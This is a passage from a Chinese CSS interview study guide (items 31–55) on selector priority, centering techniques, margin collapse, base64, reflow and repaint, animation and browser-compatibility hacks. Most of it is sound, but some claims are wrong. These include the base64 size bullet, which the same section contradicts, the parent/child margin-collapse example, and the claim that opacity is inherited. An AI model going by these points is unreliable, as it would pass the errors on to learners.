  3. 代码优化和压缩PostCSS 的插件可以用于优化和压缩 CSS 代码,删除不必要的空格、注释、重复规则等,以减小文件大小并提高加载速度。
  4. 使用未来的 CSS 语法PostCSS 可以支持使用未来的 CSS 语法和功能,例如使用 CSS VariablesCSS ModulesCSS Grid 等。通过一些插件,可以在现有浏览器中使用这些新特性,而无需等待浏览器的更新。

总之,PostCSS 提供了一个灵活的平台和插件生态系统,可以对 CSS 进行各种转换和优化,使开发者能够更好地编写和管理样式代码,并兼容不同的浏览器和未来的 CSS 标准。

# 31 css样式(选择器)的优先级

CSS 样式的优先级可以根据以下规则进行计算:

  1. 内联样式(Inline Styles)具有最高的优先级。通过在 HTML 元素的 style 属性中直接定义的样式将覆盖其他样式规则。
  2. 权重(Specificity)是确定样式优先级的重要因素。每个选择器都有一个权重,权重由选择器的组成部分决定,通常根据选择器的类型、类、ID 和内联样式等进行计算。选择器的权重值越高,其样式优先级越高。
  3. 重要性(Importance)可以通过 !important 关键字来设置。使用 !important 的样式具有最高的优先级,将覆盖任何其他样式规则。然而,滥用 !important 可能导致样式管理的困难,应该慎用。
  4. 层叠顺序(Cascade Order)也会影响样式的优先级。当存在多个具有相同权重和重要性的样式规则时,后写的样式规则将覆盖先写的样式规则。

综上所述,通过计算选择器的权重、考虑重要性以及根据样式规则的层叠顺序,可以确定 CSS 样式的优先级,并最终确定应用在元素上的样式。

小结

  • 计算权重确定
  • !important
  • 内联样式
  • 后写的优先级高

# 32 自定义字体的使用场景

自定义字体可以在以下场景中使用:

  1. 宣传和品牌:使用自定义字体可以增加品牌的独特性和识别度。品牌标语、宣传资料、广告等场合可以使用自定义字体来传达品牌的风格和形象。
  2. Banner 设计:在网站或移动应用的横幅广告(Banner)设计中,自定义字体可以使文字内容更加吸引人,与整体设计风格相匹配,并帮助吸引用户的注意力。
  3. 固定文案:如果有一些特定的文案需要在网站或应用中固定展示,如标题、标语、特殊提示等,使用自定义字体可以使这些文案与其他普通文本区分开来,突出其重要性或特殊性。
  4. 字体图标:自定义字体可以用于创建字体图标集合,如使用字体图标库(如Font Awesome)来代替传统的图标文件。这样可以提供灵活性和可扩展性,通过CSS样式来控制图标的颜色、大小和样式,而无需使用单独的图像文件。

总之,自定义字体在需要强调品牌形象、设计吸引人的文案或创建字体图标集合等场景中非常有用。它们为设计师和开发人员提供了更多的创意和自定义选项,以满足特定的设计需求。

# 33 如何美化CheckBox

  • <label> 属性 forid
  • 隐藏原生的 <input>
  • :checked + <label>

要美化复选框(CheckBox),可以按照以下步骤进行操作:

  1. 使用 <label> 标签和关联的 <input> 元素:将复选框包裹在 <label> 标签中,并使用 for 属性与对应的 <input> 元素的 id 进行关联,确保点击标签时也可以触发复选框的选择状态。
<label for="myCheckbox">Checkbox Label</label>
<input type="checkbox" id="myCheckbox">
  1. 隐藏原生的 <input> 元素:使用 CSS 样式将原生的 <input> 元素隐藏起来,使其不可见。
input[type="checkbox"] {
  display: none;
}
  1. 使用 CSS 样式美化复选框:利用 CSS 样式为复选框创建自定义的外观效果。
input[type="checkbox"] + label {
  /* 定义复选框的样式 */
}

input[type="checkbox"]:checked + label {
  /* 定义选中时复选框的样式 */
}

在上述样式中,:checked 选择器用于选中状态下的样式,+ 选择器用于选择紧接在 <input> 元素后的兄弟 <label> 元素。

通过调整这些样式,您可以改变复选框的外观,如更改背景颜色、添加边框、改变图标等。可以使用 CSS 属性如 background-colorbordercolorcontent 等来设置样式。

例如,以下示例将复选框的背景颜色设置为蓝色,并在选中时添加一个打勾的图标:

input[type="checkbox"] + label {
  display: inline-block;
  padding-left: 25px;
  position: relative;
  cursor: pointer;
}

input[type="checkbox"] + label:before {
  content: "";
  display: inline-block;
  width: 16px;
  height: 16px;
  border: 2px solid #999;
  border-radius: 3px;
  margin-right: 10px;
  position: absolute;
  left: 0;
  top: 2px;
}

input[type="checkbox"]:checked + label:before {
  background-color: blue;
  border-color: blue;
  content: "\2713";
  text-align: center;
  font-size: 14px;
  line-height: 16px;
  color: #fff;
}

通过使用类似上述的 CSS 样式,您可以根据需要定制复选框的外观和样式,以实现美化效果。

# 34 伪类和伪元素的区别

  • 伪类表状态
  • 伪元素是真的有元素
  • 前者单冒号,后者双冒号

以下是对伪类和伪元素的更详细解释:

  • 伪类(Pseudo-classes)是用于选择元素的特定状态或条件的关键词。它们以单冒号(:)作为前缀,并应用于选择器的末尾。伪类选择器可以选择处于特定状态的元素,例如鼠标悬停、被点击、被选中等。常见的伪类包括 :hover:active:visited:nth-child 等。
  • 伪元素(Pseudo-elements)则是用于在文档中创建虚拟的元素,这些元素可以在选中的元素中添加额外的样式和内容。伪元素以双冒号(::)作为前缀,并应用于选择器的末尾。伪元素可以在选中的元素中插入新的内容或样式,如在元素前、后插入内容或改变选中元素的某个部分的样式。常见的伪元素包括 ::before::after::first-line::first-letter 等。

总结来说,伪类用于选择特定状态的元素,而伪元素则用于在选中的元素中创建虚拟的元素。伪类以单冒号(:)作为前缀,伪元素以双冒号(::)作为前缀。在实际使用中,由于历史原因,有些伪元素也可以使用单冒号(:)来表示,但为了遵循最新的规范,推荐使用双冒号(::)表示伪元素。

# 35 base64的使用

  • 用于减少 HTTP 请求
  • 适用于小图片
  • base64的体积约为原图的3/4

base64 是一种将二进制数据编码为 ASCII 字符串的方法,它常被用于将小文件(如图片、字体文件等)嵌入到 HTML、CSS 或 JavaScript 中,从而减少对服务器的请求次数。

使用 base64 编码可以将二进制文件转换为文本字符串,这样可以直接将字符串嵌入到代码中,而无需单独请求文件。这样做的好处是可以减少 HTTP 请求的数量,提升页面加载速度,尤其适用于小图片或者一些图标字体等。

然而,使用 base64 编码也有一些注意事项。由于 base64 编码后的文本字符串比原始二进制数据体积大约增加了 1/3,因此对于大文件来说,使用 base64 会导致数据传输量增加,可能会影响网页的加载速度。此外,由于嵌入了文件内容,导致代码体积增大,也会对可维护性产生一定的影响。

因此,通常建议将 base64 使用在小文件上,如小图标、小图片等,而对于大文件,仍然应该以原始文件的形式进行请求和传输,以获得更好的性能和可维护性。

# 36 自适应布局

思路:

  • 左侧浮动或者绝对定位,然后右侧margin撑开
  • 使用<div>包含,然后靠负margin形成bfc
  • 使用flex

自适应布局是指能够根据不同设备或窗口尺寸自动调整布局的一种设计方式。下面是几种常见的自适应布局方法:

  1. 使用浮动或绝对定位:左侧元素使用浮动或绝对定位,右侧元素通过设置左侧元素的margin来撑开布局。这种方法需要手动计算和设置宽度和间距,适用于简单的布局需求。
.left {
  float: left;
  width: 200px;
}

.right {
  margin-left: 220px;
}
  1. 使用包含元素和负边距:将左右两个元素放在一个容器内,设置容器的overflow属性为hidden,然后通过负边距将左侧元素向左移动,右侧元素则会自动占据剩余空间。这种方法需要使用负边距,适用于复杂布局需求。
.container {
  overflow: hidden;
}

.left {
  float: left;
  width: 200px;
  margin-left: -100%;
}

.right {
  float: left;
}

  1. 使用 Flexbox 布局:使用 Flexbox 弹性布局可以轻松实现自适应布局。通过设置容器的display属性为flex,并使用flex-grow属性来控制元素的伸缩性,可以自动调整元素的宽度和布局。
.container {
  display: flex;
}

.left {
  flex-grow: 0;
  flex-shrink: 0;
  width: 200px;
}

.right {
  flex-grow: 1;
}

以上是一些常见的自适应布局方法,根据具体的需求和场景,可以选择合适的方法来实现自适应布局。

# 37 请用CSS写一个简单的幻灯片效果页面

知道是要用CSS3。使用animation动画实现一个简单的幻灯片效果

/**css**/
.ani{
  width:480px;
  height:320px;
  margin:50px auto;
  overflow: hidden;
  box-shadow:0 0 5px rgba(0,0,0,1);
  background-size: cover;
  background-position: center;
  -webkit-animation-name: "loops";
  -webkit-animation-duration: 20s;
  -webkit-animation-iteration-count: infinite;
}
@-webkit-keyframes "loops" {
    0% {
        background:url(http://d.hiphotos.baidu.com/image/w%3D400/sign=c01e6adca964034f0fcdc3069fc27980/e824b899a9014c08e5e38ca4087b02087af4f4d3.jpg) no-repeat;             
    }
    25% {
        background:url(http://b.hiphotos.baidu.com/image/w%3D400/sign=edee1572e9f81a4c2632edc9e72b6029/30adcbef76094b364d72bceba1cc7cd98c109dd0.jpg) no-repeat;
    }
    50% {
        background:url(http://b.hiphotos.baidu.com/image/w%3D400/sign=937dace2552c11dfded1be2353266255/d8f9d72a6059252d258e7605369b033b5bb5b912.jpg) no-repeat;
    }
    75% {
        background:url(http://g.hiphotos.baidu.com/image/w%3D400/sign=7d37500b8544ebf86d71653fe9f9d736/0df431adcbef76095d61f0972cdda3cc7cd99e4b.jpg) no-repeat;
    }
    100% {
        background:url(http://c.hiphotos.baidu.com/image/w%3D400/sign=cfb239ceb0fb43161a1f7b7a10a54642/3b87e950352ac65ce2e73f76f9f2b21192138ad1.jpg) no-repeat;
    }
}

# 38 什么是外边距重叠?重叠的结果是什么?

外边距重叠就是margin-collapse

  • 在CSS当中,相邻的两个盒子(可能是兄弟关系也可能是祖先关系)的外边距可以结合成一个单独的外边距。这种合并外边距的方式被称为折叠,并且因而所结合成的外边距称为折叠外边距。

折叠结果遵循下列计算规则

  • 两个相邻的外边距都是正数时,折叠结果是它们两者之间较大的值。
  • 两个相邻的外边距都是负数时,折叠结果是两者绝对值的较大值。
  • 两个外边距一正一负时,折叠结果是两者的相加的和。

下面是详细分析

外边距重叠(margin collapse)指的是在某些情况下,相邻的两个元素之间的外边距会发生合并,并且取两者之间的较大值作为最终的外边距值。外边距重叠主要发生在垂直方向上,而水平方向上的外边距不会发生重叠。

外边距重叠的结果是两个相邻元素的外边距被合并成一个单独的外边距,这可能会导致布局上的一些意外效果,比如元素之间的间距变得比预期的要大。

下面是一些常见情况下外边距重叠的例子:

  1. 相邻的兄弟元素的外边距重叠:
<div class="box"></div>
<div class="box"></div>
.box {
  margin-top: 20px;
  margin-bottom: 30px;
}

在这个例子中,两个相邻的兄弟元素之间的上下外边距会发生重叠,最终的外边距值为30px,而不是预期的50px

  1. 父元素与第一个/最后一个子元素的外边距重叠:
<div class="parent">
  <div class="child"></div>
</div>
.parent {
  margin-bottom: 20px;
}

.child {
  margin-top: 30px;
}

在这个例子中,父元素的下外边距和子元素的上外边距发生重叠,最终的外边距值为30px,而不是预期的50px。

了解外边距重叠的规则可以帮助我们更好地控制元素的布局,避免意外的外边距重叠效果。在需要避免外边距重叠的情况下,可以使用一些方法,如使用内边距(padding)或边框(border)来隔离外边距、使用浮动(float)或绝对定位(position)等。

# 39 rgba()和opacity的透明效果有什么不同?

  • rgba() 是一种CSS颜色值表示方法,可以在其中指定红、绿、蓝三个通道的颜色值以及透明度。通过调整透明度值来实现元素的透明效果,仅影响元素的颜色或背景色,不影响元素内的其他内容的透明度。
.element {
  background-color: rgba(255, 0, 0, 0.5); /* 半透明红色背景 */
}
  • opacity 是CSS属性,用于设置元素的整体透明度。它会影响元素以及元素内的所有内容的透明度,包括文本、图像等。设置元素的透明度会影响整个元素及其内容的可见性。
.element {
  opacity: 0.5; /* 元素及其内容半透明 */
}

需要注意的是,opacity 的值是一个0到1之间的数字,0表示完全透明,1表示完全不透明。而 rgba() 中的透明度值是一个介于0到1之间的数字,0表示完全透明,1表示完全不透明。

另外,需要注意的是,opacity 的透明度是继承的,子元素会继承父元素的透明度效果,而 rgba() 设置的透明度不会继承给子元素。

综上所述,rgba()opacity 在实现透明效果上有一些不同,需要根据具体的需求和效果来选择使用哪种方式。

小结

  • rgba()opacity都能实现透明效果,但最大的不同是opacity作用于元素,以及元素内的所有内容的透明度,
  • rgba()只作用于元素的颜色或其背景色。(设置rgba透明的元素的子元素不会继承透明效果!)

# 40 css中可以让文字在垂直和水平方向上重叠的两个属性是什么?

  • 垂直方向:line-height
  • 水平方向:letter-spacing

在CSS中,可以使用以下两个属性实现文字在垂直和水平方向上的重叠:

  • 垂直方向:line-height

    • 通过设置 line-height 属性,可以控制行高,从而实现文字在垂直方向上的重叠。将 line-height 的值设置为大于文字大小的值,可以使文字垂直居中或与其他文字重叠。
    .text {
      line-height: 1.5; /* 行高为文字大小的1.5倍 */
    }
    
  • 水平方向:letter-spacing

    • 通过设置 letter-spacing 属性,可以控制字符之间的间距,从而实现文字在水平方向上的重叠。将 letter-spacing 的值设置为负数,可以让字符紧密排列,产生重叠效果。
    .text {
      letter-spacing: -2px; /* 字符间距为负数,产生重叠效果 */
    }
    

这两个属性可以根据具体的需求来调整,实现文字的垂直和水平方向上的重叠效果。

# 41 如何垂直居中一个浮动元素?

垂直居中一个浮动元素可以使用以下两种方法:

方法一(已知元素的高宽):

#div1 {
  background-color: #6699FF;
  width: 200px;
  height: 200px;
  position: absolute; /* 父元素需要相对定位 */
  top: 50%;
  left: 50%;
  margin-top: -100px; /* 二分之一的height */
  margin-left: -100px; /* 二分之一的width */
}

方法二:

#div1 {
  width: 200px;
  height: 200px;
  background-color: #6699FF;
  margin: auto;
  position: absolute; /* 父元素需要相对定位 */
  left: 0;
  top: 0;
  right: 0;
  bottom: 0;
}

对于垂直居中一个 <img>,可以使用更简便的方法:

#container {
  display: flex;
  justify-content: center;
  align-items: center;
}

上述代码将 <img> 元素放置在一个容器中(#container),通过使用 Flex 布局的 justify-content: center;align-items: center; 属性,实现了图片在容器中的垂直居中效果。

# 42 px和em的区别

pxem是两种不同的长度单位,它们的区别如下:

  • px(像素)是一个绝对单位,表示固定的像素大小。无论父元素的字体大小如何,px的值都不会改变,它是一个固定的长度单位。
  • em(倍数)是一个相对单位,它相对于父元素的字体大小来确定自身的大小。如果没有设置字体大小,则1em等于浏览器默认的字体大小(通常是16px)。如果父元素的字体大小是16px,那么1em就等于16px2em就等于32px,以此类推。

由于em是相对单位,它具有一定的灵活性和可扩展性。当需要调整整个页面的字体大小时,只需更改根元素的字体大小,其他使用em作为单位的元素会自动按比例调整大小,从而实现页面的整体缩放效果。

相对于px来说,em更适用于实现弹性布局、响应式设计以及根据用户偏好进行字体大小调整等场景。

小结

  • pxem都是长度单位,区别是,px的值是固定的,指定是多少就是多少,计算比较容易。em得值不是固定的,并且em会继承父级元素的字体大小。
  • 浏览器的默认字体高都是16px。所以未经调整的浏览器都符合: 1em=16px。那么12px=0.75em, 10px=0.625em
  • px 相对于显示器屏幕分辨率,无法用浏览器字体放大功能
  • em 值并不是固定的,会继承父级的字体大小: em = 像素值 / 父级font-size

# 43 Sass、LESS是什么?大家为什么要使用他们?

  • 他们是CSS预处理器。他是CSS上的一种抽象层。他们是一种特殊的语法/语言编译成CSS
  • 例如Less是一种动态样式语言. 将CSS赋予了动态语言的特性,如变量,继承,运算, 函数. LESS 既可以在客户端上运行 (支持IE 6+, Webkit, Firefox),也可一在服务端运行 (借助 Node.js)

以下是为什么人们选择使用Sass和Less的一些原因:

  1. 变量和计算:Sass和Less都支持变量,可以定义和重用各种值,如颜色、字体、边距等。它们还允许进行数学计算,简化了样式表的编写和维护。
  2. 嵌套规则:Sass和Less允许在样式规则中嵌套其他规则,提高了样式表的可读性和可维护性。通过嵌套,可以更清晰地表示元素的层次结构,减少了样式选择器的重复。
  3. 混合(Mixins):混合是一种可以在多个选择器中重复使用的样式块。通过定义和调用混合,可以避免样式的重复编写,并且使样式表更加模块化和可复用。
  4. 继承:继承允许一个选择器继承另一个选择器的样式规则,减少了样式的冗余。当多个选择器具有相同的样式时,可以通过继承来避免重复编写样式。
  5. 模块化和导入:Sass和Less支持将样式表拆分为多个模块,并通过导入机制进行组合。这使得样式表的组织和管理更加灵活和可扩展。
  6. 自定义函数:Sass和Less都允许定义自定义函数,可以用于处理样式值,进行复杂的计算和操作。
  7. 强大的工具和生态系统:Sass和Less都有丰富的工具和插件生态系统,提供了许多辅助工具、编译器和构建工具,如预处理器编译器、自动刷新、自动前缀添加等,极大地提升了前端开发的效率。

总而言之,Sass和Less使得CSS的编写更加简洁、模块化和可维护,提供了一些高级功能和工具,使前端开发更加高效和灵活。

# 44 知道css有个content属性吗?有什么作用?有什么应用?

css的content属性专门应用在 before/after伪元素上,用于来插入生成内容。最常见的应用是利用伪类清除浮动。

/**一种常见利用伪类清除浮动的代码**/
.clearfix:after {
    content:".";       //这里利用到了content属性
    display:block;
    height:0;
    visibility:hidden;
    clear:both; 
 }
.clearfix {
    *zoom:1;
}
  • content属性主要用于在::before::after伪元素中插入生成的内容。它通常与伪元素一起使用,以在文档中插入额外的内容或修饰样式。
  • content属性可以接受多种类型的值,包括文本字符串、URL、计数器、计数器符号和引用标签等。通过设置不同的content值,可以实现一些常见的效果,例如:
  1. 插入文本内容:可以在伪元素中使用content属性插入自定义的文本内容,用于装饰样式或添加额外的标识。
  2. 插入图标和符号:通过设置content属性为某个图标字体或Unicode编码,可以在伪元素中插入图标和特殊符号。
  3. 计数器:结合使用content属性和counter函数,可以在伪元素中显示自动生成的计数器,用于标记序号或计数。
  4. 引用标签:通过设置content属性为attr()函数,可以在伪元素中引用元素的属性值,用于显示元素的属性内容。

上述代码示例中,通过设置content属性为一个点字符.,在::after伪元素中插入一个看不见的点,配合其他样式属性实现了清除浮动的效果。这是一种常见的清除浮动的技巧之一。

需要注意的是,content属性只对::before::after伪元素起作用,对于其他元素并没有效果。此外,content属性必须与display属性一起使用,通常为blockinline-block,以确保生成的内容具有正确的布局。

# 45 水平居中的方法

  • 元素为行内元素,设置父元素text-align:center
  • 如果元素宽度固定,可以设置左右marginauto;
  • 绝对定位和移动: absolute + transform
  • 使用flex-box布局,指定justify-content属性为center
  • display设置为tabel-cell

下面进行详细说明:

  1. 文本居中:如果元素为行内元素,可以将父元素的text-align属性设置为center,这样子元素就会水平居中对齐。
.parent {
  text-align: center;
}
  1. 固定宽度的居中:如果元素宽度已知并固定,可以通过将左右margin设置为auto来实现水平居中。
.element {
  margin-left: auto;
  margin-right: auto;
}
  1. 绝对定位和移动:可以使用绝对定位和transform来实现水平居中。首先将元素的左边距和右边距都设置为auto,然后使用transform属性将元素向左平移50%。
.element {
  position: absolute;
  left: 50%;
  transform: translateX(-50%);
}
  1. Flexbox布局:使用display: flex将父元素设置为弹性容器,然后使用justify-content属性将子元素水平居中。
.parent {
  display: flex;
  justify-content: center;
}
  1. 表格布局:将父元素的display属性设置为table-cell,并将text-align属性设置为center
.parent {
  display: table-cell;
  text-align: center;
}

这些方法可以根据具体的布局需求和浏览器兼容性进行选择和使用。

# 46 垂直居中的方法

  • 将显示方式设置为表格,display:table-cell,同时设置vertial-align:middle
  • 使用flex布局,设置为align-item:center
  • 绝对定位中设置bottom:0,top:0,并设置margin:auto
  • 绝对定位中固定高度时设置top:50%,margin-top值为高度一半的负值
  • 文本垂直居中设置line-heightheight
  • inline-block兄弟元素:通过在父元素中插入一个inline-block元素,并设置其垂直对齐方式为middle来实现垂直居中
  1. 表格布局:将父元素的display属性设置为table,并将子元素的display属性设置为table-cell,然后使用vertical-align属性将子元素垂直居中
  • 未知高度的块级父子元素居中,模拟表格布局
  • 缺点:IE67不兼容,父级 overflow:hidden 失效
.parent {
  display: table;
}

.child {
  display: table-cell;
  vertical-align: middle;
}
  1. Flexbox布局:将父元素的display属性设置为flex,并使用align-items属性将子元素垂直居中。
.parent {
  display: flex;
  align-items: center;
}
  1. 绝对定位和负边距:对于已知高度的子元素,将父元素设置为相对定位,子元素设置为绝对定位,并使用top: 50%将其垂直居中,然后通过负边距的方式将子元素向上移动一半的高度
.parent {
  position: relative;
}

.child {
  position: absolute;
  top: 50%;
  margin-top: -50px; /* 假设子元素高度为100px的一半 */
}
  1. 文本垂直居中:对于单行文本,可以设置父元素的line-height属性和高度相等,从而实现文本的垂直居中
.parent {
  height: 100px;
  line-height: 100px;
}
  1. CSS3位移:使用CSS3的transform属性的translateY函数将子元素向上位移一半的高度实现垂直居中
.child {
  position: absolute;
  top: 50%;
  transform: translateY(-50%);
}
  1. inline-block兄弟元素:通过在父元素中插入一个inline-block元素,并设置其垂直对齐方式为middle来实现垂直居中
.parent {
  height: 100%;
}

.extra {
  display: inline-block;
  vertical-align: middle;
}

.child {
  display: inline-block;
  vertical-align: middle;
}

# 47 如何使用CSS实现硬件加速?

硬件加速是指通过创建独立的复合图层,让GPU来渲染这个图层,从而提高性能,

一般触发硬件加速的CSS属性有transformopacityfilter,为了避免2D动画在开始和结束的时候的repaint操作,一般使用tranform:translateZ(0)

使用CSS实现硬件加速可以通过以下方法:

  1. 使用3D变换:通过应用3D变换,如translateZ(0),来触发硬件加速。这会将元素视为3D空间中的一个对象,使浏览器使用GPU进行渲染。
.element {
  transform: translateZ(0);
}
  1. 使用CSS动画:使用CSS动画属性(如transformopacityfilter)来触发硬件加速。这可以通过创建一个动画并将其应用于元素来实现。
.element {
  animation: myAnimation 1s linear infinite;
}

@keyframes myAnimation {
  0% {
    transform: translateZ(0);
  }
  100% {
    transform: translateZ(0);
  }
}
  1. 使用CSS过渡:通过使用CSS过渡属性(如transformopacityfilter)来触发硬件加速。这可以通过设置过渡效果来实现。
.element {
  transition: transform 0.3s ease;
}

.element:hover {
  transform: translateZ(0);
}

请注意,硬件加速并不是适用于所有情况的解决方案,它对于涉及大量动画或复杂渲染的元素特别有效。但是,在某些情况下,过多地使用硬件加速可能会导致性能问题,因此需要在实际使用时进行评估和测试。

# 48 重绘和回流(重排)是什么,如何避免?

重绘(Repaint)和回流(Reflow)是浏览器在渲染页面时的两个关键过程。

  • 重绘(Repaint) 是指当元素的外观属性(如颜色、背景等)发生改变,但不影响布局时的重新绘制过程。重绘不会影响元素的几何尺寸和位置。
  • 回流(Reflow) 是指当元素的布局属性(如尺寸、位置、隐藏/显示等)发生改变,导致浏览器重新计算元素的几何属性,重新构建渲染树的过程。回流会导致其他相关元素的回流和重绘。
  • 回流必将引起重绘,而重绘不一定会引起回流

避免重绘和回流对于提高页面性能和响应速度至关重要。以下是一些减少重绘和回流的方法:

  • 使用 CSS3 动画:使用 CSS3 的 transformopacity 等属性来创建动画效果,因为它们会触发硬件加速,减少重绘和回流的影响。
  • 批量修改样式:避免频繁修改单个元素的样式,尽可能将修改合并为一次操作,可以使用 class 或修改 style 属性的方式。
  • 使用文档片段:当需要添加多个 DOM 元素到文档中时,可以先创建一个文档片段(DocumentFragment),将元素添加到片段中,然后再将片段一次性添加到文档中,减少回流次数。
  • 使用离线 DOM:将元素从文档中移除(display: none),进行复杂的操作(如修改样式、添加子元素等),完成后再将元素放回文档,以减少回流和重绘的影响。
  • 缓存布局属性值:如果需要多次访问某个元素的布局属性(如位置、尺寸等),可以将其值缓存起来,避免多次触发回流计算。
  • 避免强制同步布局:避免在 JavaScript 中获取布局属性(如使用 offsetTopclientWidth 等),因为它会强制同步计算布局信息,触发回流。如果需要获取布局信息,最好将获取操作放在一起,或使用 getBoundingClientRect() 方法。

通过合理的设计和优化,可以最小化重绘和回流的次数,提高页面性能和用户体验。

# 49 说一说css3的animation

CSS3的animation属性是用于创建动画效果的一种方式。它可以通过关键帧(@keyframes)来定义动画的每一帧,以实现元素的平滑过渡和动态效果。

使用animation属性时,需要设置以下几个关键的子属性:

  • animation-name:定义动画的名称,对应@keyframes中的动画名。
  • animation-duration:定义动画的持续时间,可以设置为具体的时间值,如2s表示2秒,或者使用关键词infinite表示无限循环。
  • animation-timing-function:定义动画的时间函数,控制动画在不同时间点的速度变化,常见的取值有linear(线性)、ease(缓入缓出)、ease-in(缓入)、ease-out(缓出)、ease-in-out(缓入缓出)等。
  • animation-delay:定义动画的延迟时间,即动画开始之前的等待时间。
  • animation-iteration-count:定义动画的循环次数,可以设置为具体的次数,或者使用关键词infinite表示无限循环。
  • animation-direction:定义动画的播放方向,包括正常播放(normal)、反向播放(reverse)、交替反向播放(alternate)等。
  • animation-fill-mode:定义动画播放之前和之后的样式状态,包括保持初始状态(none)、保持最后状态(forwards)、保持初始和最后状态(both)等。
  • animation-play-state:定义动画的播放状态,可以控制动画的暂停和继续播放,包括paused(暂停)和running(运行)。

通过调整这些子属性的取值,可以创建各种不同的动画效果,使元素在页面上实现平滑的过渡和动态的效果。CSS3的animation提供了一种简洁、易用且高性能的方式来实现动画效果,减少了对JavaScript的依赖。

# 50 左边宽度固定,右边自适应

左侧固定宽度,右侧自适应宽度的两列布局实现

html结构

<div class="outer">
    <div class="left">固定宽度</div>
    <div class="right">自适应宽度</div>
</div>

在外层div(类名为outer)的div中,有两个子div,类名分别为leftright,其中left为固定宽度,而right为自适应宽度

方法1:左侧div设置成浮动:float: left,右侧div宽度会自动适应

.outer {
    width: 100%;
    height: 500px;
    background-color: yellow;
}
.left {
    width: 200px;
    height: 200px;
    background-color: red;
    float: left;
}
.right {
    height: 200px;
    background-color: blue;
}

方法2:对右侧:div进行绝对定位,然后再设置right=0,即可以实现宽度自适应

绝对定位元素的第一个高级特性就是其具有自动伸缩的功能,当我们将 width设置为 auto 的时候(或者不设置,默认为 auto ),绝对定位元素会根据其 leftright 自动伸缩其大小

.outer {
    width: 100%;
    height: 500px;
    background-color: yellow;
    position: relative;
}
.left {
    width: 200px;
    height: 200px;
    background-color: red;
}
.right {
    height: 200px;
    background-color: blue;
    position: absolute;
    left: 200px;
    top:0;          
    right: 0;
}

方法3:将左侧div进行绝对定位,然后右侧div设置margin-left: 200px

.outer {
    width: 100%;
    height: 500px;
    background-color: yellow;
    position: relative;
}
.left {
    width: 200px;
    height: 200px;
    background-color: red;
    position: absolute;
}
.right {
    height: 200px;
    background-color: blue;
    margin-left: 200px;
}

方法4:使用flex布局

.outer {
    width: 100%;
    height: 500px;
    background-color: yellow;
    display: flex;
    flex-direction: row;
}
.left {
    width: 200px;
    height: 200px;
    background-color: red;
}
.right {
    height: 200px;
    background-color: blue;
    flex: 1;
}

# 51 两种以上方式实现已知或者未知宽度的垂直水平居中

/** 1 **/
.wraper {
  position: relative;
  .box {
    position: absolute;
    top: 50%;
    left: 50%;
    width: 100px;
    height: 100px;
    margin: -50px 0 0 -50px;
  }
}

/** 2 **/
.wraper {
  position: relative;
  .box {
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
  }
}

/** 3 **/
.wraper {
  .box {
    display: flex;
    justify-content:center;
    align-items: center;
    height: 100px;
  }
}

/** 4 **/
.wraper {
  display: table;
  .box {
    display: table-cell;
    vertical-align: middle;
  }
}

# 52 如何实现小于12px的字体效果

实现小于12px的字体效果可以使用CSS的transform: scale()属性。但需要注意的是,该属性只能应用于具有宽度和高度的元素,而行内元素默认是没有宽度和高度的。

为了在行内元素上应用缩放效果,可以将其转换为具有宽度和高度的块级元素,例如使用display: inline-block

下面是一个示例代码:

.small-text {
  display: inline-block;
  transform: scale(0.7);
  transform-origin: left top;
}

在上述代码中,我们将目标元素的display属性设置为inline-block,然后应用了transform: scale(0.7)来缩小元素的大小,并通过transform-origin: left top设置缩放的基准点为左上角。

使用以上代码,可以实现小于12px的字体效果,但需要注意,缩放可能会导致文本的清晰度下降,因此在使用此技术时需要谨慎权衡效果和可读性。

# 53 css hack原理及常用hack

  • 原理:利用不同浏览器对CSS的支持和解析结果不一样编写针对特定浏览器样式。
  • 常见的hack有
    • 属性hack
    • 选择器hack
    • IE条件注释

CSS hack是一种技术手段,用于在不同的浏览器或特定的浏览器版本上应用不同的样式规则。它通过利用浏览器对CSS解析的差异来实现。

以下是一些常见的CSS hack及其应用:

  1. 属性hack:针对特定浏览器或浏览器版本设置不同的属性值。
/* 仅适用于IE10及以下版本 */
.element {
  color: red\9;
}
  1. 选择器hack:使用特定的选择器来针对特定浏览器或浏览器版本。
/* 仅适用于IE6 */
* html .element {
  color: red;
}
  1. IE条件注释:通过IE条件注释来针对不同的IE版本应用不同的样式。
<!--[if IE 7]>
<link rel="stylesheet" type="text/css" href="ie7.css" />
<![endif]-->

上述代码中,<!--[if IE 7]><![endif]-->之间的样式表链接只会在IE7浏览器中生效。

需要注意的是,CSS hack是一种针对特定浏览器或浏览器版本的解决方案,但它可能存在以下问题:

  • 可能会导致代码的可读性和维护性降低。
  • 在不同的浏览器更新版本或新的浏览器出现时,需要更新和调整hack。
  • 可能会导致一些意外的副作用或兼容性问题。

因此,在使用CSS hack时,需要权衡利弊,并尽量考虑更加稳定和标准的解决方案,例如使用CSS前缀、特性检测和渐进增强等方法来实现跨浏览器兼容性。

# 54 CSS有哪些继承属性

CSS中有一些属性是可以继承的,这意味着父元素的某些样式属性会自动应用到子元素上。以下是一些常见的继承属性:

  • 字体相关属性:
    • font
    • font-family
    • font-size
    • font-weight
    • font-style
  • 文本排版属性:
    • word-break
    • letter-spacing
    • text-align
    • text-rendering
    • word-spacing
    • white-space
    • text-indent
    • text-transform
    • text-shadow
  • 行高属性:
    • line-height
  • 颜色相关属性:
    • color
  • 可见性属性:
    • visibility
  • 光标属性:
    • cursor

这些属性在父元素上设置后,会自动应用到其子元素上,除非子元素有自己的特定样式覆盖了继承的属性。

需要注意的是,并非所有的CSS属性都是可继承的,有些属性是不会传递给子元素的。在使用CSS样式时,需要注意属性的继承特性,以便正确地应用样式到子元素。

# 55 外边距折叠(collapsing margins)

外边距折叠(collapsing margins)是 CSS 中一种特定的行为,它会导致一些相邻元素的外边距合并成一个更大的外边距。以下是关于外边距折叠的几个规则:

  1. 相邻的普通流中的块级元素的垂直外边距会折叠。只有垂直方向上的外边距才会发生折叠,水平方向上的外边距不会折叠。
  2. 浮动元素、绝对定位元素以及行内块元素的外边距不会和其他元素的外边距折叠。
  3. 创建了块级格式化上下文(BFC)的元素的外边距不会和其子元素的外边距折叠。常见的创建 BFC 的方式包括设置overflow为除visible之外的值、使用float属性、使用position: absolute等。
  4. 相邻元素自身的margin-bottommargin-top会折叠。当一个元素的margin-bottom和下一个元素的margin-top相邻时,它们会合并成一个外边距。

外边距折叠在布局中可能会导致一些意外的效果,因此在需要避免外边距折叠的情况下,可以采用以下方法:

  • 设置paddingborder或者使用inline-block等方式来阻止外边距折叠。
  • 使用浮动(float)或绝对定位(position: absolute)等方式创建块级格式化上下文(BFC),从而阻止外边距折叠。

